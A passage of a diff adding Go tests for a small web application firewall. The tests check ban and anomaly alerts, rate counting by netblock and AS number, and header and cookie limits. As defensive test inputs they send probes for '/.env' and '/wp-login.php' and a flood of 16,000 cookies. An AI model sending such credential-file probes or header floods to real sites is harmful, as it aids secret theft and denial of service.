+		s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+	}
+
+	// The IPv6 client's third request breaks the limit past the two alerts
+	// an hour.
+	for range 3 {
+		s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// Had the ban been worked out for any of the requests within the
+	// cooldown or past the two an hour, its alert would have been raised,
+	// held back and counted.
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || queue.Suppressed() != 0 {
+		t.Errorf("%d alerts wait and %d are held back, want 2 and 0: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+}
+
+// startWithAlerts is startWithClock with alerts to a webhook, which is
+// never sent them, and returns the queue they wait in as well.
+func startWithAlerts(
+	t *testing.T, env map[string]string,
+) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
+}
+
+// startAppWithAlerts is startWithAlerts in front of the app handler.
+func startAppWithAlerts(
+	t *testing.T, handler http.HandlerFunc, env map[string]string,
+) (*sender, *clock, *servewaf.Server, *alerts.Queue) {
+	t.Helper()
+
+	app := startApp(t, handler)
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	settings := map[string]string{
+		trustedProxies:  trustLocalhost,
+		alertWebhookURL: "https://alerts.example/smallwebwaf",
+		instanceName:    alertInstance,
+	}
+	maps.Copy(settings, env)
+
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
+
+	s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}
+
+	return s, clk, server, queue
+}
+
+// banAlert returns the alert for event, raised by a request from client at
+// the time raised, for ban, with its netblock, cause, reason and notes,
+// which ends at expires, as the log line gives it.
+func banAlert(
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
+) alerts.Alert {
+	return alerts.Alert{
+		Instance: alertInstance,
+		Time:     raised,
+		Event:    event,
+		Host:     appHost,
+		Client:   netip.MustParseAddr(client),
+		Netblock: ban.Netblock,
+		Reason:   ban.Reason,
+		Detail: map[string]any{
+			"cause": ban.Cause, "ban_expires": expires, "notes": ban.Notes,
+		},
+	}
+}
+
+// attackAlert is banAlert for a ban for the probe rule of testRules, with
+// the netblock and the notes of ban.
+func attackAlert(
+	event string, raised time.Time, client string, ban bans.Ban, expires string,
+) alerts.Alert {
+	return banAlert(event, raised, client, bans.Ban{
+		Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
+		Notes: ban.Notes,
+	}, expires)
+}
+
+// wantAlerts checks the alerts waiting in queue, in order.
+func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
+	t.Helper()
+
+	got := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(got) != len(want) {
+		t.Fatalf("%d alerts wait, want %d: %+v", len(got), len(want), got)
+	}
+
+	for i := range want {
+		if !reflect.DeepEqual(got[i], want[i]) {
+			t.Errorf("alert %d is\n%+v\nwant\n%+v", i, got[i], want[i])
+		}
+	}
+}

internal/servewaf/anomaly_internal_test.go

@@ -0,0 +1,32 @@
+package servewaf
+
+import (
+	"net/netip"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
+	t.Parallel()
+
+	// A request from a client looked up through GeoJS, with every anomaly
+	// threshold off. Its handler has neither GeoJS's answers nor the
+	// anomaly counters, nor a clock, and the request no response: reading
+	// any of them to count the request panics.
+	rq := &request{
+		decision: decision{
+			client:   netip.MustParseAddr("203.0.113.9"),
+			lookedUp: true,
+		},
+		h: &handler{config: &config.Config{LookupSource: "geojs"}},
+	}
+
+	defer func() {
+		if r := recover(); r != nil {
+			t.Errorf("counting the request did work, with every threshold off: %v", r)
+		}
+	}()
+
+	rq.countAnomalies()
+}

internal/servewaf/anomaly_test.go

@@ -0,0 +1,378 @@
+package servewaf_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strconv"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// The anomaly thresholds: the prefix of a scope followed by the end of a
+// count.
+const (
+	anomalyClient = "SWWAF_ANOMALY_CLIENT_"
+	anomalyNet    = "SWWAF_ANOMALY_NET_"
+	anomalyASN    = "SWWAF_ANOMALY_ASN_"
+	anomalyTotal  = "SWWAF_ANOMALY_TOTAL_"
+	anomalyWatch  = "SWWAF_WATCH_"
+
+	requestsPerMinute = "REQUESTS_PER_MINUTE"
+	requestsPerHour   = "REQUESTS_PER_HOUR"
+	bytesPerMinute    = "BYTES_PER_MINUTE"
+	bytesPerHour      = "BYTES_PER_HOUR"
+)
+
+// The other anomaly settings.
+const (
+	anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX"
+	anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX"
+	watchNets          = "SWWAF_WATCH_NETS"
+)
+
+const (
+	// clientsNet is the netblock around client at the default length, and
+	// office a named netblock of the same.
+	clientsNet = "203.0.113.0/24"
+	office     = "office=" + clientsNet
+	// aLot is a threshold no test reaches.
+	aLot = "1000"
+	// hour is the window an alert names for a threshold per hour.
+	hour = "hour"
+)
+
+func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
+	t.Parallel()
+
+	for _, scope := range []struct {
+		prefix, scope string
+		// netblock is the alert's, and counted what its reason names. extra
+		// is what its detail gives besides what every anomaly alert's does.
+		netblock netip.Prefix
+		counted  string
+		extra    map[string]any
+	}{
+		{
+			anomalyClient, anomaly.ScopeClient, netip.MustParsePrefix(client + "/32"),
+			"the client " + client + "/32", nil,
+		},
+		{
+			anomalyNet, anomaly.ScopeNet, netip.MustParsePrefix(clientsNet),
+			"the netblock " + clientsNet, nil,
+		},
+		{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
+		{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
+		{
+			anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet),
+			"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
+		},
+	} {
+		for _, threshold := range []struct {
+			end, kind, window string
+			// value is the threshold, which the third upload of 100 bytes
+			// takes the count over, to count.
+			value int64
+			count float64
+		}{
+			{requestsPerMinute, ratelimit.KindRequests, minute, 2, 3},
+			{requestsPerHour, ratelimit.KindRequests, hour, 2, 3},
+			{bytesPerMinute, ratelimit.KindBytes, minute, 250, 300},
+			{bytesPerHour, ratelimit.KindBytes, hour, 250, 300},
+		} {
+			setting := scope.prefix + threshold.end
+			value := strconv.FormatInt(threshold.value, 10)
+
+			t.Run(setting, func(t *testing.T) {
+				t.Parallel()
+
+				s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+					setting: value, watchNets: office,
+				})
+				start := clk.Now()
+
+				// The third upload takes the count over the threshold, and the
+				// fourth, within the cooldown, is held back. Each is passed to
+				// the app.
+				for range 4 {
+					s.uploadFrom(client)
+				}
+
+				detail := map[string]any{
+					"scope": scope.scope, "window": threshold.window, "kind": threshold.kind,
+					"count": threshold.count, "threshold": threshold.value,
+				}
+				maps.Copy(detail, scope.extra)
+
+				wantAlerts(t, queue, alerts.Alert{
+					Instance: alertInstance,
+					Time:     start,
+					Event:    alerts.EventAnomaly,
+					Host:     appHost,
+					Client:   netip.MustParseAddr(client),
+					Netblock: scope.netblock,
+					ASN:      asnDE,
+					ASName:   asNameDE,
+					Country:  "DE",
+					Reason: threshold.kind + " per " + threshold.window + " of " +
+						scope.counted + " over the threshold of " + value,
+					Detail: detail,
+				})
+
+				wantAlertedAgainOnceTheCooldownHasRunOut(t, s, clk, queue)
+
+				if held := server.Ledger.Snapshot(); len(held) != 0 {
+					t.Errorf("the ledger holds %+v, want no ban", held)
+				}
+			})
+		}
+	}
+}
+
+// wantAlertedAgainOnceTheCooldownHasRunOut checks that, once the cooldown
+// has run out after a first alert, which held back one repeat, the next
+// count over the threshold, at the latest three uploads from client on,
+// raises another alert, giving that repeat.
+func wantAlertedAgainOnceTheCooldownHasRunOut(
+	t *testing.T, s *sender, clk *clock, queue *alerts.Queue,
+) {
+	t.Helper()
+
+	clk.advance(15 * time.Minute)
+
+	for range 3 {
+		s.uploadFrom(client)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
+		waiting[1].SuppressedRepeats != 1 {
+		t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
+	}
+}
+
+func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+		denied  = "192.0.2.20" // in SWWAF_DENY_NETS
+	)
+
+	s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		anomalyClient + requestsPerMinute: "2",
+		allowNets:                         allowed,
+		rateLimitExemptNets:               exempt,
+		rateLimitExemptPaths:              "/static/",
+		denyNets:                          denied,
+	})
+
+	// The third request of each takes its client's count over the threshold
+	// of 2.
+	for _, sent := range []struct {
+		from, path string
+		status     int
+		action     string
+	}{
+		{allowed, "/", http.StatusOK, requestlog.ActionForward},
+		{exempt, "/", http.StatusOK, requestlog.ActionForward},
+		{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
+		{denied, "/", http.StatusForbidden, requestlog.ActionDenied},
+	} {
+		for range 3 {
+			s.request(sent.from, sent.path, sent.status, sent.action)
+		}
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+
+	got := make([]string, 0, len(waiting))
+	for _, alert := range waiting {
+		got = append(got, alert.Client.String())
+	}
+
+	if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
+		t.Errorf("alerts for the clients %v, want %v", got, want)
+	}
+}
+
+func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
+	t.Parallel()
+
+	// With every threshold off, nothing is counted.
+	s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
+
+	for range 5 {
+		s.uploadFrom(client)
+	}
+
+	if counters := server.Anomalies.Snapshot(); len(counters) != 0 {
+		t.Errorf("counters %+v, want none", counters)
+	}
+
+	wantAlerts(t, queue)
+
+	// With one set, its count alone is counted, in its scope alone.
+	s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
+		anomalyNet + requestsPerMinute: aLot, watchNets: office,
+	})
+
+	for range 5 {
+		s.uploadFrom(client)
+	}
+
+	want := []anomaly.Counter{{
+		Scope:    anomaly.ScopeNet,
+		Netblock: netip.MustParsePrefix(clientsNet),
+		Minute:   ratelimit.Buckets{Start: clk.Now(), Current: 5},
+	}}
+	if got := server.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantAlerts(t, queue)
+}
+
+func TestNetblockAroundAClientIsAsLongAsTheSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// Each client of sent sends one request, and want gives the
+		// netblocks they are counted in, each with its requests.
+		sent []string
+		want map[string]int64
+	}{
+		{
+			"by default", nil,
+			[]string{client, "203.0.113.200", "192.0.2.7", ipv6Client, "2001:db8:0:ffff::1"},
+			map[string]int64{clientsNet: 2, "192.0.2.0/24": 1, "2001:db8::/48": 2},
+		},
+		{
+			"as set", map[string]string{anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "32"},
+			[]string{client, "203.0.200.1", ipv6Client, "2001:db8:ffff::1"},
+			map[string]int64{"203.0.0.0/16": 2, "2001:db8::/32": 2},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{anomalyNet + requestsPerMinute: aLot}
+			maps.Copy(env, tc.env)
+
+			s, _, server, _ := startAppWithAlerts(t, readAndAnswer, env)
+
+			for _, from := range tc.sent {
+				s.get(from, http.StatusOK, requestlog.ActionForward)
+			}
+
+			got := map[string]int64{}
+			for _, counter := range server.Anomalies.Snapshot() {
+				got[counter.Netblock.String()] = counter.Minute.Current
+			}
+
+			if !maps.Equal(got, tc.want) {
+				t.Errorf("requests by netblock %v, want %v", got, tc.want)
+			}
+		})
+	}
+}
+
+func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
+	t.Parallel()
+
+	s, server, _ := startWithLookups(t, map[string]string{
+		anomalyASN + requestsPerMinute: aLot,
+	})
+
+	// The lookup database does not hold unplaced.
+	for _, from := range []string{fromDE, fromDE, fromKP, noCountry, unplaced} {
+		s.uploadFrom(from)
+	}
+
+	got := map[string]int64{}
+	for _, counter := range server.Anomalies.Snapshot() {
+		got[counter.ASN] = counter.Minute.Current
+	}
+
+	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
+		t.Errorf("requests by AS number %v, want %v", got, want)
+	}
+}
+
+func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS answers only once released, which the app
+	// does as it answers the request, and then waits until the answer is
+	// kept.
+	geojsURL, _, release := startHeldGeoJS(t)
+
+	var server atomic.Pointer[servewaf.Server]
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		release()
+		waitUntil(func() bool {
+			_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
+
+			return kept
+		})
+	})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:                 trustLocalhost,
+			lookupTimeout:                  "1h",
+			anomalyASN + requestsPerMinute: aLot,
+		})
+	server.Store(started)
+
+	// The request went on without the answer, and is counted for the AS
+	// number it gives.
+	s := &sender{t: t, addr: addr, out: out}
+	if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
+		t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
+	}
+
+	want := []anomaly.Counter{{
+		Scope: anomaly.ScopeASN, ASN: asnDE,
+		Minute: ratelimit.Buckets{Start: clk.Now(), Current: 1},
+	}}
+	if got := started.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
+	t.Parallel()
+
+	s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
+		anomalyWatch + requestsPerMinute: aLot,
+		watchNets:                        office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
+	})
+
+	// client is in office and in wide.
+	for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+	}
+
+	got := map[string]int64{}
+	for _, counter := range server.Anomalies.Snapshot() {
+		got[counter.Name] = counter.Minute.Current
+	}
+
+	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
+		t.Errorf("requests by named netblock %v, want %v", got, want)
+	}
+}

internal/servewaf/answertime_test.go

@@ -0,0 +1,566 @@
+package servewaf_test
+
+import (
+	"fmt"
+	"maps"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
+	// servewaf has to answer.
+	answerTimeLimit = 2 * time.Second
+	// defaultLookupWait is the default of SWWAF_LOOKUP_TIMEOUT.
+	defaultLookupWait = 800 * time.Millisecond
+	// The header limits SPEC.md gives.
+	cookieLimit      = 50
+	headerFieldLimit = 100
+	// cookieHeader is the header the cookie limit counts.
+	cookieHeader = "Cookie"
+	// tooLarge is how servewaf refuses a request over the header limits.
+	tooLarge = http.StatusRequestHeaderFieldsTooLarge
+	// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
+	// that unansweredGeoJSURL names too.
+	silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check"
+	// wholeLimit is the percentage of a rate limit that lowers it not at all.
+	wholeLimit = 100
+	// clientsDecision is the CrowdSec decision list holding client alone.
+	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
+		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
+)
+
+// cookies returns a Cookie header's value with count cookies.
+func cookies(count int) string {
+	parts := make([]string, 0, count)
+	for i := range count {
+		parts = append(parts, "c"+strconv.Itoa(i)+"=1")
+	}
+
+	return strings.Join(parts, "; ")
+}
+
+// fillHeaders adds headers to a question until the checks see total header
+// fields: all but ClientHeader and PeerHeader, which servewaf removes. Go's
+// client sends nothing else but Host, which the limit does not count, once
+// User-Agent is set.
+func fillHeaders(req *http.Request, total int) {
+	req.Header.Set("User-Agent", "test")
+
+	for i := len(req.Header) - 2; i < total; i++ {
+		req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
+	}
+}
+
+func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	began := time.Now()
+	got := do(t, req)
+
+	if took := time.Since(began); took >= answerTimeLimit/2 {
+		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
+	}
+
+	wantDisposition(t, got, tooLarge, servewaf.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+	if line.DurationWAF != nil {
+		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF)
+	}
+}
+
+func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
+	t.Parallel()
+
+	repeated := make([]string, headerFieldLimit)
+	for i := range repeated {
+		repeated[i] = "1"
+	}
+
+	for _, tc := range []struct {
+		name string
+		make func(*http.Request)
+		// refused is true for a request over a limit, and false for one at it.
+		refused bool
+	}{
+		{"cookies at the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit))
+		}, false},
+		{"cookies over the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+		}, true},
+		{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
+		}, false},
+		{"parts of no-break spaces count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
+		}, true},
+		{"cookies over the limit across two headers", func(req *http.Request) {
+			req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
+		}, true},
+		{"cookies without a value count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
+		}, true},
+		{"header fields at the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit)
+		}, false},
+		{"header fields over the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit+1)
+		}, true},
+		{"a header sent many times counts each time", func(req *http.Request) {
+			req.Header["X-Filler"] = repeated
+		}, true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", map[string]string{wafMode: block})
+			req := s.question(siteA, client, "/")
+			tc.make(req)
+
+			got := do(t, req)
+			line := s.out.requestLine(t)
+
+			if tc.refused {
+				wantDisposition(t, got, tooLarge, servewaf.DispositionDeny)
+				wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+				return
+			}
+
+			wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
+			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+			if line.DurationWAF == nil {
+				t.Error("the Core Rule Set did not read a request within the limits")
+			}
+		})
+	}
+}
+
+func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, env := range []map[string]string{
+		{wafMode: off},
+		{wafMode: "detect"},
+		{wafMode: block, "SWWAF_WAF_EXEMPT_PATHS": "/"},
+	} {
+		t.Run(fmt.Sprint(env), func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", env)
+			req := s.question(siteA, client, "/")
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny)
+		})
+	}
+}
+
+func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{wafMode: block, allowNets: client})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusOK, servewaf.DispositionAllow)
+}
+
+func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{mode: observe, wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	began := time.Now()
+	got := do(t, req)
+
+	if took := time.Since(began); took >= answerTimeLimit/2 {
+		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
+	}
+
+	wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
+
+	line := s.out.requestLine(t)
+	if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil {
+		t.Errorf("would_action %q and duration_waf %v, want %q and none",
+			line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge)
+	}
+}
+
+func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startServeWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
+	ask := func() answer {
+		req := s.question(siteA, client, "/")
+		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+		return do(t, req)
+	}
+
+	wantDisposition(t, ask(), tooLarge, servewaf.DispositionDeny)
+	wantDisposition(t, ask(), http.StatusForbidden, servewaf.DispositionDeny)
+
+	lines := s.out.requestLines(t, 2)
+	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited)
+}
+
+func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name, path, action string
+	}{
+		{"a trap path", "/wp-login.php", requestlog.ActionBanned},
+		{"a block rule", "/blocked", requestlog.ActionRuleBlocked},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startServeWAF(t, "", map[string]string{
+				trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
+			})
+			req := s.question(siteA, client, tc.path)
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny)
+			wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
+		})
+	}
+}
+
+func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{
+		unknownLimitPercent: "0", lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), tooLarge, servewaf.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
+
+	if line.LimitPercent != nil {
+		t.Errorf("limit percentage %d, want none", *line.LimitPercent)
+	}
+
+	// The client is under no ban, and GeoJS places it in a country.
+	wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, servewaf.DispositionAllow)
+}
+
+func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
+	s.server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
+		Answered: s.clock.Now(), Used: s.clock.Now(),
+	}})
+
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusForbidden, servewaf.DispositionDeny)
+	wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited)
+}
+
+func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s := startServeWAF(t, geojsURL, map[string]string{
+		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	got := do(t, req)
+	wantDisposition(t, got, http.StatusOK, servewaf.DispositionAllow)
+
+	asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
+	if asn != asnDE || country != "DE" {
+		t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
+			asn, country, asnDE)
+	}
+}
+
+// newServeWAFInBubble makes a servewaf for a synctest bubble: GeoJS never
+// answers, a setting needs its answer, and everything is at its default but
+// for env. No request to it may use the network.
+func newServeWAFInBubble(
+	t *testing.T, env map[string]string,
+) (*servewaf.Server, *output) {
+	t.Helper()
+
+	settings := map[string]string{deniedCountries: "KP"}
+	maps.Copy(settings, env)
+
+	server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, settings)
+
+	return server, out
+}
+
+// askDirectly hands a question about a request from client straight to server,
+// as change leaves it, and returns the answer's status and how long it took.
+func askDirectly(
+	t *testing.T, server *servewaf.Server, change func(*http.Request),
+) (int, time.Duration) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
+	req.Header.Set(servewaf.ClientHeader, client)
+	req.Header.Set(requestIDHeader, "the-id")
+	change(req)
+
+	recorder := httptest.NewRecorder()
+	began := time.Now()
+
+	server.Handler.ServeHTTP(recorder, req)
+
+	return recorder.Code, time.Since(began)
+}
+
+// banClient bans client at now.
+func banClient(_ *testing.T, server *servewaf.Server, now time.Time) {
+	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
+}
+
+// countClient counts one request from client at now for the rate limits.
+func countClient(_ *testing.T, server *servewaf.Server, now time.Time) {
+	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
+}
+
+// listClient puts client on the blocklist at dropURL.
+func listClient(t *testing.T, server *servewaf.Server, now time.Time) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
+	}})
+	if err != nil {
+		t.Fatalf("load the blocklist: %v", err)
+	}
+}
+
+// decideOnClient puts client on the CrowdSec decision list.
+func decideOnClient(t *testing.T, server *servewaf.Server, now time.Time) {
+	t.Helper()
+	loadDecisions(t, server, now, clientsDecision)
+}
+
+// leaveAsItIs prepares nothing.
+func leaveAsItIs(*testing.T, *servewaf.Server, time.Time) {}
+
+func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
+	t.Parallel()
+
+	const forbidden = http.StatusForbidden
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *servewaf.Server, now time.Time)
+		// cookie is the request's Cookie header.
+		cookie string
+		status int
+		action string
+	}{
+		{
+			name: "SWWAF_DENY_NETS", env: map[string]string{denyNets: client},
+			prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied,
+		},
+		{
+			name:    "a ban",
+			prepare: banClient, status: forbidden, action: requestlog.ActionBanned,
+		},
+		{
+			name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
+			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
+		},
+		{
+			name:    "the rate limits, with a biased threshold",
+			env:     map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
+			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
+		},
+		{
+			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
+			prepare: listClient, status: forbidden, action: requestlog.ActionDenied,
+		},
+		{
+			name:    "the CrowdSec decision list",
+			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
+			prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned,
+		},
+		{
+			name: "the header limits", cookie: cookies(cookieLimit + 1),
